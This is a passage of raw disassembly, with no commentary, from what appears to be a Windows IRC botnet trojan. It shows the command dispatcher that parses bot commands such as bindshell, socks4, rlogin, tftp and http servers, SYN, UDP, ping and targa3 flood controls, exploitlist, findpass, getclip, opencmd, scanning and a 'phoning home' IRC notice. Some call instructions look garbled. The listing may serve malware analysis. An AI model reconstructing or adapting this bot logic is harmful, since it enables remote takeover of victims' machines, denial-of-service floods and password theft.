ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40292F mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F75 add ecx, 3 mov [eax], ecx loc_402961: ; CODE XREF: sub_401ACD+C9Dj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aRn ; "rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aLogout ; "logout" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aLo ; "lo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aVersion ; "version" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aVer ; "ver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRulez ; "rulez" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aRz ; "rz" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aSpeedtest ; "speedtest" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSt ; "st" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsecure ; "unsecure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsec ; "unsec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aBindshell ; "bindshell" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBd ; "bd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBindshellstop ; "bindshellstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B0E push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA08 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_401ACD+1027j push edi push offset aSocks4 ; "socks4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aS4 ; "s4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aSocks4stop ; "socks4stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B61 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9E0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_401ACD+107Aj push edi push offset aRloginstop ; "rloginstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B8A push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9C4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B8A: ; CODE XREF: sub_401ACD+10A3j push edi push offset aHttpstop ; "httpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BB3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9A8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BB3: ; CODE XREF: sub_401ACD+10CCj push edi push offset aLogstop ; "logstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BDC push [ebp+esi+var_8C] push 25h push offset dword_42C994 push offset dword_42C988 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_401ACD+10F5j push edi push offset aRedirectstop ; "redirectstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C05 push [ebp+esi+var_8C] push 18h push offset dword_42C968 push offset dword_42C958 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_401ACD+111Ej push edi push offset dword_42C94C call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C2E push [ebp+esi+var_8C] push 0Dh push offset dword_42C940 push offset dword_42C934 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C2E: ; CODE XREF: sub_401ACD+1147j push edi push offset aSynstop ; "synstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C57 push [ebp+esi+var_8C] push 0Eh push offset dword_42C920 push offset dword_42C914 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C57: ; CODE XREF: sub_401ACD+1170j push edi push offset aSkysynstop ; "skysynstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C80 push [ebp+esi+var_8C] push 10h push offset dword_42C8F8 push offset dword_42C8E8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C80: ; CODE XREF: sub_401ACD+1199j push edi push offset aTarga3stop ; "targa3stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CA9 push [ebp+esi+var_8C] push 11h push offset dword_42C8CC push offset dword_42C8BC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_401ACD+11C2j push edi push offset aWonkstop ; "wonkstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CD2 push [ebp+esi+var_8C] push 12h push offset dword_42C8A4 push offset dword_42C898 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CD2: ; CODE XREF: sub_401ACD+11EBj push edi push offset aPacketstop ; "packetstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402E28 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C940 push offset dword_42C934 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 0Eh push offset dword_42C920 push offset dword_42C914 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 17h push offset dword_42C880 push offset dword_42C874 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 16h push offset dword_42C868 push offset dword_42C85C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 11h push offset dword_42C8CC push offset dword_42C8BC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 12h push offset dword_42C8A4 push offset dword_42C898 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 0Fh push offset dword_42C84C push offset dword_42C83C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 13h push offset dword_42C82C push offset dword_42C81C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 10h push offset dword_42C8F8 push offset dword_42C8E8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push ebx push [ebp+var_4] push offset unk_42C7E8 push [ebp+var_88] push edi call sub_409869 add esp, 34h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_402E28: ; CODE XREF: sub_401ACD+1214j push edi push offset aTsunamistop ; "tsunamistop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E51 push [ebp+esi+var_8C] push 0Fh push offset dword_42C84C push offset dword_42C83C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E51: ; CODE XREF: sub_401ACD+136Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E7A push [ebp+esi+var_8C] push 13h push offset dword_42C82C push offset dword_42C81C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E7A: ; CODE XREF: sub_401ACD+1393j push edi push offset aUdpstop ; "udpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EA3 push [ebp+esi+var_8C] push 17h push offset dword_42C880 push offset dword_42C874 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EA3: ; CODE XREF: sub_401ACD+13BCj push edi push offset aPingstop ; "pingstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402ECC push [ebp+esi+var_8C] push 16h push offset dword_42C868 push offset dword_42C85C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402ECC: ; CODE XREF: sub_401ACD+13E5j push edi push offset aTftpstop ; "tftpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EF5 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7A0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_401ACD+140Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aFfstop ; "ffstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aProcsstop ; "procsstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aPsstop ; "psstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aClonestop ; "clonestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F72 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C750 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_401ACD+148Bj push edi push offset aSecurestop ; "securestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F9B push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C72C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F9B: ; CODE XREF: sub_401ACD+14B4j push edi push offset aScanstop ; "scanstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402FC4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C70C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_401ACD+14DDj push edi push offset aScanstats ; "scanstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aStats ; "stats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aTransferstats ; "transferstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aTrstats ; "trstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aConnectbacksta ; "connectbackstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aCbstats ; "cbstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aExploitlist ; "exploitlist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aExplist ; "explist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aReconnect ; "reconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aDisconnect ; "disconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aDc ; "dc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aQuit_0 ; "quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aQ ; "q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aStatus ; "status" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aS_0 ; "s" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aId ; "id" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aI ; "i" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aR3start ; "r3start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403190 call sub_418884 test eax, eax mov eax, offset unk_42C64C jnz short loc_403162 mov eax, offset unk_42C628 loc_403162: ; CODE XREF: sub_401ACD+168Ej push eax lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 1Ch jmp loc_4082DE ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_401ACD+1680j push edi push offset aThreads ; "threads" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aT ; "t" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aAliases ; "aliases" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aAl ; "al" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aLog ; "log" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aLg ; "lg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aClearlog ; "clearlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aClg ; "clg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aNetinfo ; "netinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aNi ; "ni" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aSysinfo ; "sysinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aSi ; "si" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aProcs ; "procs" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aPs ; "ps" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aUptime ; "uptime" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aUp ; "up" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aDriveinfo ; "driveinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aDrv ; "drv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aTestdlls ; "testdlls" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aDll ; "dll" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aOpencmd ; "opencmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aOcmd ; "ocmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aCmdstop ; "cmdstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4033B1 push [ebp+esi+var_8C] push 0Ah push offset dword_42C574 push offset dword_42C568 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_401ACD+18CAj push edi push offset dword_42C564 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4034C7 cmp [ebp+var_8], ebx jnz short loc_4033E5 push ebx push [ebp+var_4] push offset dword_42C550 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4033E5: ; CODE XREF: sub_401ACD+18FCj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033EF: ; CODE XREF: sub_401ACD+196Cj mov eax, [ebp+arg_18] loc_4033F2: ; CODE XREF: sub_401ACD+1920j cmp [eax], bl jz short loc_4033F9 inc eax jmp short loc_4033FE ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_401ACD+1927j mov eax, offset aEmpty ; "<Empty>" loc_4033FE: ; CODE XREF: sub_401ACD+192Aj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033EF push offset unk_42C520 call sub_415D38 pop ecx loc_403446: ; CODE XREF: sub_401ACD+1BFDj ; sub_401ACD+2EFAj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F75 push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404AAB push offset aOff ; "off" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4049D9 lea eax, [ebp+var_2C4] push offset unk_42C4EC push eax mov dword_4CF180, ebx call sub_41C266 pop ecx pop ecx loc_40349D: ; CODE XREF: sub_401ACD+2FD9j cmp [ebp+var_8], ebx jnz loc_409644 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 loc_4034BF: ; CODE XREF: sub_401ACD+7032j add esp, 14h jmp loc_409644 ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_401ACD+18F3j push edi push offset aGetclip ; "getclip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aGc ; "gc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aFlusharp ; "flusharp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFarp ; "farp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFlushdns ; "flushdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aFdns ; "fdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aCurrentip ; "currentip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aCip ; "cip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aRloginserver ; "rloginserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aRlogin ; "rlogin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aHttpserver ; "httpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aHttp ; "http" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aTftpserver ; "tftpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aTftp ; "tftp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aShitycrash ; "shitycrash" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403653 lea eax, [ebp+var_2C4] push offset unk_42C444 push eax call sub_41C266 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403632 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403632: ; CODE XREF: sub_401ACD+1B47j lea eax, [ebp+var_2C4] push eax call sub_415D38 mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41CA50 jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403653: ; CODE XREF: sub_401ACD+1B2Fj push edi push offset aAsc ; "asc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aAs ; "as" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aPhonehome ; "phonehome" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4036AA lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_409823 loc_4036A2: ; CODE XREF: sub_401ACD+47Bj add esp, 0Ch jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj push edi push offset aFindpass ; "findpass" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4036D0 push edi push offset aFp ; "fp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_403446 loc_4036D0: ; CODE XREF: sub_401ACD+1BECj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax push offset unk_42C3C4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3BA add esp, 18h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4172C1 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403778 loc_403762: ; CODE XREF: sub_401ACD+1CA9j cmp [ebp+var_F60], ebx jnz loc_4082DE push 32h nop call near ptr 2680EBDh jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403778: ; CODE XREF: sub_401ACD+1C93j call near ptr 26908B8h nop push eax push offset unk_42C388 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: sub_401ACD+1B95j ; sub_401ACD+1BAAj mov al, byte_4319DA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4319DA jz loc_401F75 mov ecx, edx loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F75 mov [ebp+arg_18], edx loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj push 0Bh call sub_40B602 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403808 push ecx lea eax, [ebp+var_2C4] push offset dword_42C34C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_403A72 ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_401ACD+1D06j or [ebp+var_730], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_403875 mov eax, [ebp+arg_18] mov esi, offset dword_4317F8 lea edi, [eax-0Ah] loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj lea eax, [esi-28h] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40385B inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_40383F jmp short loc_403875 ; --------------------------------------------------------------------------- loc_40385B: ; CODE XREF: sub_401ACD+1D80j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_74C], ecx loc_403875: ; CODE XREF: sub_401ACD+1D65j ; sub_401ACD+1D8Cj cmp [ebp+var_74C], ebx jz loc_403A86 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CBA60 push eax lea eax, [ebp+var_860] push eax call sub_41BFD0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C820 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40391D loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej cmp eax, ebx jz short loc_40391D mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038FB loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj ; sub_401ACD+1E30j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C360 push offset byte_43DB88 push offset aF ; "#f" call sub_41CA50 add esp, 14h test eax, eax jz short loc_40398A push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C360 add esp, 0Ch jmp short loc_403990 ; --------------------------------------------------------------------------- loc_40398A: ; CODE XREF: sub_401ACD+1EA0j mov [ebp+var_7D0], bl loc_403990: ; CODE XREF: sub_401ACD+1EBBj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039A2 mov eax, offset aSequential ; "Sequential" loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2CC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403A2C loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj cmp [ebp+var_71C], ebx jnz short loc_403A47 push 32h nop call near ptr 2680EBDh jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj nop call near ptr 26908B8h push eax lea eax, [ebp+var_2C4] push offset unk_42C290 push eax call sub_41C266 add esp, 0Ch loc_403A47: ; CODE XREF: sub_401ACD+1F53j cmp edi, ebx jnz short loc_403A65 push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx loc_403A72: ; CODE XREF: sub_401ACD+1D36j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4037B5 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_403A86: ; CODE XREF: sub_401ACD+1DAEj push offset unk_42C258 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401ACD+1B05j ; sub_401ACD+1B1Aj push 5 call sub_40B602 test eax, eax pop ecx jle short loc_403AA6 push offset unk_42C238 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AC9 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_403ADD ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx nop call near ptr 2680000h loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AED mov esi, offset byte_429108 loc_403AED: ; CODE XREF: sub_401ACD+2019j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C360 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412197 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403BB9 loc_403BA3: ; CODE XREF: sub_401ACD+20EAj cmp [ebp+var_2AB8], ebx jnz loc_4081AD push 32h call near ptr 2680EBDh nop jmp short loc_403BA3 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401ACD+20D4j nop call near ptr 26908B8h push eax push offset unk_42C1C8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj ; sub_401ACD+1AF0j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BE9 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403BE9 push edi call sub_41C159 pop ecx jmp short loc_403BEE ; --------------------------------------------------------------------------- loc_403BE9: ; CODE XREF: sub_401ACD+2106j ; sub_401ACD+2111j mov eax, dword_42907C loc_403BEE: ; CODE XREF: sub_401ACD+211Aj mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov 